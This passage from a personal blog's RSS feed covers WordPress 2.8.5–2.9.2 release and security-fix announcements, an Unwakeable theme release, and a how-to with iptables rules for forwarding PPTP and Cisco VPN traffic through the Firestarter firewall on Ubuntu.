src="http://feeds.feedburner.com/~ff/tlongren?i=d8rcRgPFy5w:RhFkNbxQcHA:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/d8rcRgPFy5w" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2010/02/24/how-to-build-a-tag-cloud-with-php-mysql-and-css/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.longren.org/2010/02/24/how-to-build-a-tag-cloud-with-php-mysql-and-css/</feedburner:origLink></item>
		<item>
		<title>WordPress 2.9.2</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/yD1GyLHG3MU/</link>
		<comments>http://www.longren.org/2010/02/15/wordpress-2-9-2/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 04:11:15 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2522</guid>
		<description><![CDATA[WordPress 2.9.2 was released earlier today. You can download it here. This fixes a problem that allows users that are logged in to view trash posts authored by other users. Thomas Mackenzie alerted us to a problem where logged in users can peek at trashed posts belonging to other authors. If you have untrusted users [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wordpress.org/development/2010/02/wordpress-2-9-2/">WordPress 2.9.2</a> was released earlier today. You can <a href="http://wordpress.org/download/">download it here</a>. This fixes a problem that allows users that are logged in to view trash posts authored by other users.</p>
<blockquote><p><a href="http://www.tmacuk.co.uk/">Thomas Mackenzie</a> alerted us to a problem where logged in users can peek at trashed posts belonging to other authors. If you have untrusted users signed up on your blog and sensitive posts in the trash, you should <a href="http://wordpress.org/download/">upgrade to 2.9.2</a>.  As always, you can visit the Tools-&gt;Upgrade menu to upgrade.</p></blockquote>
<p>Thomas Mackenzie goes into <a href="http://tmacuk.co.uk/?p=180">much greater detail</a> about the problem on <a href="http://tmacuk.co.uk/">his site</a>. Check his site out for more info on why the 2.9.2 release was necessary.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<div class="shr-publisher-2522"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/vrTwGuSMqNhIsQIBDbySrDPjbYw/0/da"><img src="http://feedads.g.doubleclick.net/~a/vrTwGuSMqNhIsQIBDbySrDPjbYw/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/vrTwGuSMqNhIsQIBDbySrDPjbYw/1/da"><img src="http://feedads.g.doubleclick.net/~a/vrTwGuSMqNhIsQIBDbySrDPjbYw/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=yD1GyLHG3MU:EpVLerDmrFM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=yD1GyLHG3MU:EpVLerDmrFM:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=yD1GyLHG3MU:EpVLerDmrFM:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=yD1GyLHG3MU:EpVLerDmrFM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=yD1GyLHG3MU:EpVLerDmrFM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=yD1GyLHG3MU:EpVLerDmrFM:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=yD1GyLHG3MU:EpVLerDmrFM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=yD1GyLHG3MU:EpVLerDmrFM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=yD1GyLHG3MU:EpVLerDmrFM:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=yD1GyLHG3MU:EpVLerDmrFM:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/yD1GyLHG3MU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2010/02/15/wordpress-2-9-2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://www.longren.org/2010/02/15/wordpress-2-9-2/</feedburner:origLink></item>
		<item>
		<title>WordPress Theme: Unwakeable 1.5.3</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/vaFW8dGVYEI/</link>
		<comments>http://www.longren.org/2010/01/19/wordpress-theme-unwakeable-1-5-3/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 20:41:26 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Noteworthy]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Unwakeable]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[k2]]></category>
		<category><![CDATA[wordpress-theme]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2491</guid>
		<description><![CDATA[Unwakeable 1.5.3 is available for download. This version is built off K2 1.0.3 and should work beautifully with WordPress 2.9+. You can head over to the Unwakeable page to get the download, or you can grab it here. K2 1.0 added more support for WordPress 2.9. For example, K2 1.0 supports new WordPress features such [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.longren.org/wordpress/unwakeable/">Unwakeable</a> 1.5.3 is available for download. This version is built off <a href="http://getk2.com/2010/01/k2-1-0-3/">K2 1.0.3</a> and should work beautifully with WordPress 2.9+. You can head over to the <a href="http://www.longren.org/wordpress/unwakeable/">Unwakeable page</a> to get the download, or you can <a href="http://www.longren.org/downloads/unwakeable-1.5.3.zip">grab it here</a>.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
<a href="http://getk2.com/2009/12/k2-1-0/">K2 1.0</a> added more support for WordPress 2.9. For example, K2 1.0 supports new WordPress features such as <a href="http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/">post thumbnail images</a>. One of the more noticeable changes to K2 since the 1.0 release is the absence of SideBar Manager (SBM). It sounds like it was simply too much work to maintain SBM, and was beyond the scope of what K2 is:</p>
<blockquote><p>It’s worth mentioning that the last remnants of the old SideBar Manager, or SBM, have now been removed from the codebase. It started out as a fully-fledged replacement for WP’s lacking widgets system and ended up as a patch-of-sorts to the widget system, allowing for widgets to be placed only on specified pages. But in the end, while the native widget system is still very much in need of an update, it didn’t feel right for K2 to try and cover that particular area of the administration interface. And besides, other plugins for doing just that exist already.</p>
<p>So instead of spending our time patching that system for an ever-changing WordPress, our time is probably better spent on more theme-specific functionality, like the rolling archives or livesearch systems, as well as keeping up with new WordPress features, like for instance Post Thumbnails.</p></blockquote>
<p><script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
Rather than break down all of what&#8217;s changed in recent versions of K2, I&#8217;m going to make it easy on myself and direct you to the <a href="http://getk2.com/2009/12/k2-1-0/">K2 1.0 release announcement</a>. Just know that Unwakeable 1.5.3 sports all the features found in K2 1.0.3. You can comment on this post or on the <a href="http://www.longren.org/wordpress/unwakeable/">Unwakeable page</a> with questions or comments.</p>
<div class="shr-publisher-2491"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/7a_S0auebrvnnqehMOh7Mt_6qGY/0/da"><img src="http://feedads.g.doubleclick.net/~a/7a_S0auebrvnnqehMOh7Mt_6qGY/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/7a_S0auebrvnnqehMOh7Mt_6qGY/1/da"><img src="http://feedads.g.doubleclick.net/~a/7a_S0auebrvnnqehMOh7Mt_6qGY/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=vaFW8dGVYEI:EaKyBl6uMuE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=vaFW8dGVYEI:EaKyBl6uMuE:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=vaFW8dGVYEI:EaKyBl6uMuE:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=vaFW8dGVYEI:EaKyBl6uMuE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=vaFW8dGVYEI:EaKyBl6uMuE:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=vaFW8dGVYEI:EaKyBl6uMuE:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=vaFW8dGVYEI:EaKyBl6uMuE:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=vaFW8dGVYEI:EaKyBl6uMuE:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=vaFW8dGVYEI:EaKyBl6uMuE:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=vaFW8dGVYEI:EaKyBl6uMuE:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/vaFW8dGVYEI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2010/01/19/wordpress-theme-unwakeable-1-5-3/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		<feedburner:origLink>http://www.longren.org/2010/01/19/wordpress-theme-unwakeable-1-5-3/</feedburner:origLink></item>
		<item>
		<title>WordPress 2.9.1</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/VkAQMsGFmlw/</link>
		<comments>http://www.longren.org/2010/01/19/wordpress-2-9-1/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 17:13:25 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2489</guid>
		<description><![CDATA[WordPress 2.9.1 was released a little over two weeks ago. You can download it at the usual location. From the release announcement: This release addresses a handful of minor issues as well as a rather annoying problem where scheduled posts and pingbacks are not processed correctly due to incompatibilities with some hosts. If any of [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wordpress.org/development/2010/01/wordpress-2-9-1/">WordPress 2.9.1</a> was released a little over two weeks ago. You can <a href="http://wordpress.org/download/">download</a> it at the <a href="http://wordpress.org/download/">usual location</a>.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
From the release <a href="http://wordpress.org/development/2010/01/wordpress-2-9-1/">announcement</a>:</p>
<blockquote><p>This release addresses a handful of minor issues as well as a rather annoying problem where scheduled posts and pingbacks are not processed correctly due to incompatibilities with some hosts.  If any of these issues affect you, give 2.9.1 a try.  <a href="http://wordpress.org/download/">Download 2.9.1</a> or upgrade automatically from the Tools->Upgrade menu in your blog’s admin area.</p></blockquote>
<p>WordPress 2.9.1 came less than a month after <a href="http://wordpress.org/development/2009/12/wordpress-2-9/">WordPress 2.9</a>.</p>
<div class="shr-publisher-2489"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/qcwqoo33Jt-4DbFFateG-GG7sDg/0/da"><img src="http://feedads.g.doubleclick.net/~a/qcwqoo33Jt-4DbFFateG-GG7sDg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/qcwqoo33Jt-4DbFFateG-GG7sDg/1/da"><img src="http://feedads.g.doubleclick.net/~a/qcwqoo33Jt-4DbFFateG-GG7sDg/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=VkAQMsGFmlw:DSe-MeCpajQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=VkAQMsGFmlw:DSe-MeCpajQ:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=VkAQMsGFmlw:DSe-MeCpajQ:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=VkAQMsGFmlw:DSe-MeCpajQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=VkAQMsGFmlw:DSe-MeCpajQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=VkAQMsGFmlw:DSe-MeCpajQ:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=VkAQMsGFmlw:DSe-MeCpajQ:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=VkAQMsGFmlw:DSe-MeCpajQ:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=VkAQMsGFmlw:DSe-MeCpajQ:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=VkAQMsGFmlw:DSe-MeCpajQ:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/VkAQMsGFmlw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2010/01/19/wordpress-2-9-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.longren.org/2010/01/19/wordpress-2-9-1/</feedburner:origLink></item>
		<item>
		<title>WordPress 2.8.6 Security Release</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/i-_uSaFFi34/</link>
		<comments>http://www.longren.org/2009/11/14/wordpress-2-8-6-security-release/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 15:32:23 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2486</guid>
		<description><![CDATA[WordPress 2.8.6 is available for download. It&#8217;s another security release and was released two days ago. Below is a summary from the WordPress development blog: 2.8.6 fixes two security problems that can be exploited by registered, logged in users who have posting privileges. If you have untrusted authors on your blog, upgrading to 2.8.6 is [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wordpress.org/development/2009/11/wordpress-2-8-6-security-release/">WordPress 2.8.6</a> is available for <a href="http://wordpress.org/download/">download</a>. It&#8217;s another security release and was released two days ago. Below is a summary from the <a href="http://wordpress.org/development/">WordPress development blog</a>:</p>
<blockquote><p>2.8.6 fixes two security problems that can be exploited by registered, logged in users who have posting privileges.  If you have untrusted authors on your blog, upgrading to 2.8.6 is recommended.</p>
<p>The first problem is an XSS vulnerability in Press This discovered by Benjamin Flesch.  The second problem, discovered by Dawid Golunski, is an issue with sanitizing uploaded file names that can be exploited in certain Apache configurations. Thanks to Benjamin and Dawid for finding and reporting these.</p></blockquote>
<p>You can download WordPress 2.8.6 <a href="http://wordpress.org/download/">here</a>.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p>
<div class="shr-publisher-2486"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/fm89HEkjgqB36V0X3dsQtOfhmtY/0/da"><img src="http://feedads.g.doubleclick.net/~a/fm89HEkjgqB36V0X3dsQtOfhmtY/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/fm89HEkjgqB36V0X3dsQtOfhmtY/1/da"><img src="http://feedads.g.doubleclick.net/~a/fm89HEkjgqB36V0X3dsQtOfhmtY/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=i-_uSaFFi34:0zEHMtyDht8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=i-_uSaFFi34:0zEHMtyDht8:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=i-_uSaFFi34:0zEHMtyDht8:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=i-_uSaFFi34:0zEHMtyDht8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=i-_uSaFFi34:0zEHMtyDht8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=i-_uSaFFi34:0zEHMtyDht8:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=i-_uSaFFi34:0zEHMtyDht8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=i-_uSaFFi34:0zEHMtyDht8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=i-_uSaFFi34:0zEHMtyDht8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=i-_uSaFFi34:0zEHMtyDht8:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/i-_uSaFFi34" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2009/11/14/wordpress-2-8-6-security-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.longren.org/2009/11/14/wordpress-2-8-6-security-release/</feedburner:origLink></item>
		<item>
		<title>How To: Cisco and Microsoft VPN Through Firestarter on Ubuntu</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/N5N1ggk0dcQ/</link>
		<comments>http://www.longren.org/2009/11/07/how-to-cisco-and-microsoft-vpn-through-firestarter-on-ubuntu/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 19:57:33 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Noteworthy]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[vpn]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2476</guid>
		<description><![CDATA[After doing a fresh install of Ubuntu 9.10 Karmic Koala on my router, I realized that I had lost the ability to connect to my employer&#8217;s VPN. I use Firestarter for managing my firewall on this particular router. As I usually do, I googled &#8220;firestarter vpn&#8220;. Much to my dismay, it appeared that the Firestarter [...]]]></description>
			<content:encoded><![CDATA[<p>After doing a fresh install of Ubuntu 9.10 Karmic Koala on my router, I realized that I had lost the ability to connect to my employer&#8217;s VPN. I use <a href="http://fs-security.com/">Firestarter</a> for managing my firewall on this particular router.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
As I usually do, I googled &#8220;<a href="http://www.google.com/search?q=firestarter+vpn">firestarter vpn</a>&#8220;. Much to my dismay, it appeared that the <a href="http://fs-security.com/">Firestarter website</a> was no longer alive. Instead of the usual Firestarter page, a page filled with useless links about security and anti-virus loaded. Luckily I was able to access the cached version of the page from Google. Since then, it appears that the <a href="http://fs-security.com/">Firestarter website</a> has come back to life.</p>
<p>I wanted to make a note of how to allow VPN connections in the event that the Firestarter website becomes inaccessible again, that&#8217;s basically the point of this post. The page on the Firestarter site that details VPN connections can be <a href="http://fs-security.com/docs/vpn.php">found here</a>. This should apply to pretty much every Linux distribution, not just Ubuntu.</p>
<p>To allow VPN connections with the <strong>Microsoft VPN client</strong>, simply enter the following lines into <strong><em>/etc/firestarter/user-pre</em></strong>.</p>
<pre><code># Forward PPTP VPN client traffic
$IPT -A FORWARD -i $IF -o $INIF -p tcp --dport 1723 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -A FORWARD -i $IF -o $INIF -p 47 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -A FORWARD -i $INIF -o $IF -p 47 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT</code></pre>
<p><script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
And to allow VPN connections with the <strong>Cisco VPN client</strong>, enter the following lines into <strong><em>/etc/firestarter/user-pre</em></strong>.</p>
<pre><code># Forward Cisco VPN client traffic
$IPT -A FORWARD -i $IF -o $INIF -p udp --dport 500 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -A FORWARD -i $IF -o $INIF -p tcp --dport 500 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -A FORWARD -i $IF -o $INIF -p 50 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -A FORWARD -i $INIF -o $IF -p 50 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT</code></pre>
<p>Finally, if you&#8217;re running a <strong>Microsoft VPN server</strong> and want to allow incoming PPTP VPN connections, add the following lines to <strong><em>/etc/firestarter/user-pre</em></strong>.</p>
<pre><code># Forward PPTP VPN connections to internal server
SERVER=192.168.0.100 # Internal VPN server

$IPT -A FORWARD -i $IF -o $INIF -p tcp --dport 1723 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -t nat -A PREROUTING -i $IF -p tcp --dport 1723 -j DNAT --to $SERVER
$IPT -A FORWARD -i $IF -o $INIF -p 47 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IPT -t nat -A PREROUTING -i $IF -p 47 -j DNAT --to $SERVER </code></pre>
<p>That should pretty much cover it. If you are using OpenVPN, head over to the <a href="http://fs-security.com/docs/vpn.php">Firestarter VPN configuration</a> page for details.</p>
<div class="shr-publisher-2476"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/UrQz0bH1KdvlccdRYE-Mfz27_Ek/0/da"><img src="http://feedads.g.doubleclick.net/~a/UrQz0bH1KdvlccdRYE-Mfz27_Ek/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/UrQz0bH1KdvlccdRYE-Mfz27_Ek/1/da"><img src="http://feedads.g.doubleclick.net/~a/UrQz0bH1KdvlccdRYE-Mfz27_Ek/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=N5N1ggk0dcQ:FFpH1oQtk0o:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=N5N1ggk0dcQ:FFpH1oQtk0o:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=N5N1ggk0dcQ:FFpH1oQtk0o:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=N5N1ggk0dcQ:FFpH1oQtk0o:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=N5N1ggk0dcQ:FFpH1oQtk0o:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=N5N1ggk0dcQ:FFpH1oQtk0o:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=N5N1ggk0dcQ:FFpH1oQtk0o:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=N5N1ggk0dcQ:FFpH1oQtk0o:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=N5N1ggk0dcQ:FFpH1oQtk0o:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=N5N1ggk0dcQ:FFpH1oQtk0o:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/N5N1ggk0dcQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2009/11/07/how-to-cisco-and-microsoft-vpn-through-firestarter-on-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.longren.org/2009/11/07/how-to-cisco-and-microsoft-vpn-through-firestarter-on-ubuntu/</feedburner:origLink></item>
		<item>
		<title>WordPress 2.8.5: Hardening Release</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/gDKBneQIkWo/</link>
		<comments>http://www.longren.org/2009/10/21/wordpress-2-8-5-hardening-release/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 13:15:48 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2471</guid>
		<description><![CDATA[WordPress 2.8.5 has been released. This is another security release, just like the 2.8.4 release. As with the last release, the SANS Internet Storm Center has another post about the latest WordPress. The WordPress team decided to call 2.8.5 a hardening release because it includes some security features that were back-ported to 2.8.x from the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wordpress.org/development/2009/10/wordpress-2-8-5-hardening-release/">WordPress 2.8.5</a> has been released.  This is another security release, just like the <a href="http://www.longren.org/2009/08/11/wordpress-2-8-4-security-release/">2.8.4 release</a>.  As with the last release, the <a href="http://isc.sans.org/">SANS Internet Storm Center</a> has <a href="http://isc.sans.org/diary.html?storyid=7414">another post</a> about the latest WordPress.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
